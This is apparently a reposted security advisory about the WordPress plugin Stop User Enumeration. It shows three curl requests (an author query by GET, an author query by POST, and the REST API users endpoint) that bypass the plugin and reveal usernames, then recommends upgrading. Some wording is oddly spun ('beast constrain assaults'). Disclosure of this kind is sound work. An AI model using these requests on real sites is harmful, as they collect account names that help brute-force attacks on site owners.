WordPress Plugin Stop User Enumeration does not stop user enumeration

User Enumeration is the capacity to automatically figure out if a given account is valid on a system.

By enumerating client accounts, you are at danger of locking out accounts after a predefined number of failed attempts.

Stop User Enumeration is a module stops client count dead , and furthermore it will log an event in your System log so you can use fail2ban to blocking the probing IP specifically at your firewall, an intense solution for VPS proprietors to stop beast constrain assaults and additionally DDOS assaults.

WordPress 4.7 introduced a REST API endpoint to list all users.

This plugin attempts to prevent requests with an author value (but fails), and makes no attempt at preventing requests to the REST API.

Proof of concept

There are three approaches to bypass this plugin module’s protections.

GET Request :

$ curl -i -s 'http://localhost/?wp-comments-post&author=1'
HTTP/1.1 301 Moved Permanently
Date: Fri, 23 Dec 2016 15:38:02 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.13
Location: http://localhost/author/tomdxw/?wp-comments-post
Content-Length: 0
Content-Type: text/html; charset=UTF-8

POST request:

$ curl -s http://localhost/?wp-comments-post -d author=1 | grep '<title'
 <title>tomdxw – WP Test</title>

REST API:

$ curl -s http://localhost/wp-json/wp/v2/users
[{“id”:1,”name”:”tomdxw”,”url”:””,”description”:””,”link”:”http:\/\/localhost\/author\/tomdxw\/”,”slug”:”tomdxw”,”avatar_urls”:{“24″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g”,”48″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g”,”96″:”http:\/\/2.gravatar.com\/avatar\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g”},”meta”:[],”_links”:{“self”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users\/1″}],”collection”:[{“href”:”http:\/\/localhost\/wp-json\/wp\/v2\/users”}]}}]

Mitigation’s

Upgrade to version 1.3.5 or later.

Discovered by DXWsecurity

For more Information : https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/